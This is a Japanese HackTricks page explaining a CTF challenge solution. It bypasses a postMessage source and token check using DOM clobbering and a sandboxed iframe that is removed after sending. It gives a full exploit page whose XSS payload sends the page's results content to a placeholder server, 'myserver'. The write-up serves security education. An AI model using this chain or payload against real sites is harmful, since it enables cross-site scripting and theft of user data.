SOPをIframesでバイパスする - 2
Reading time: 5 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
SOP-2におけるIframes
この解決策は、このチャレンジに対して、 @Strellic_が前のセクションと似た方法を提案しています。確認してみましょう。
このチャレンジでは、攻撃者はこれをバイパスする必要があります:
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
もし彼がそうすれば、postmessageを使って、**innerHTML
**でページに書き込まれるHTMLコンテンツを送信することができ、サニタイズなしで(XSS)。
最初のチェックをバイパスする方法は、**window.calc.contentWindow
をundefined
にし、e.source
をnull
**にすることです:
- **
window.calc.contentWindow
は実際にはdocument.getElementById("calc")
です。document.getElementById
を<img name=getElementById />
**でクラッシャーできます(サニタイザーAPI -こちら-は、デフォルトの状態ではDOMクラッキング攻撃から保護するように設定されていません)。 - したがって、**
document.getElementById("calc")
を<img name=getElementById /><div id=calc></div>
でクラッシャーできます。そうすると、window.calc
はundefined
**になります。 - さて、
e.source
をundefined
またはnull
にする必要があります(==
が使用されているため、null == undefined
はTrue
です)。これを得るのは「簡単」です。iframeを作成し、そこからpostMessageを送信し、すぐにiframeを削除すると、**e.origin
はnull
**になります。次のコードを確認してください。
let iframe = document.createElement("iframe")
document.body.appendChild(iframe)
window.target = window.open("http://localhost:8080/")
await new Promise((r) => setTimeout(r, 2000)) // wait for page to load
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`)
document.body.removeChild(iframe) //e.origin === null
二番目のチェックをバイパスするためには、**token
を値null
で送信し、window.token
の値をundefined
**にすることです:
- 値
null
でpostMessageにtoken
を送信するのは簡単です。 window.token
は、document.cookie
を使用する関数getCookie
を呼び出す際に使用されます。null
オリジンページでのdocument.cookie
へのアクセスはエラーを引き起こすことに注意してください。これにより、**window.token
はundefined
**の値になります。
<html>
<body>
<script>
// Abuse "expr" param to cause a HTML injection and
// clobber document.getElementById and make window.calc.contentWindow undefined
open(
'https://obligatory-calc.ctf.sekai.team/?expr="<form name=getElementById id=calc>"'
)
function start() {
var ifr = document.createElement("iframe")
// Create a sandboxed iframe, as sandboxed iframes will have origin null
// this null origin will document.cookie trigger an error and window.token will be undefined
ifr.sandbox = "allow-scripts allow-popups"
ifr.srcdoc = `<script>(${hack})()<\/script>`
document.body.appendChild(ifr)
function hack() {
var win = open("https://obligatory-calc.ctf.sekai.team")
setTimeout(() => {
parent.postMessage("remove", "*")
// this bypasses the check if (e.source == window.calc.contentWindow && e.data.token == window.token), because
// token=null equals to undefined and e.source will be null so null == undefined
win.postMessage(
{
token: null,
result:
"<img src onerror='location=`https://myserver/?t=${escape(window.results.innerHTML)}`'>",
},
"*"
)
}, 1000)
}
// this removes the iframe so e.source becomes null in postMessage event.
onmessage = (e) => {
if (e.data == "remove") document.body.innerHTML = ""
}
}
setTimeout(start, 1000)
</script>
</body>
</html>
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。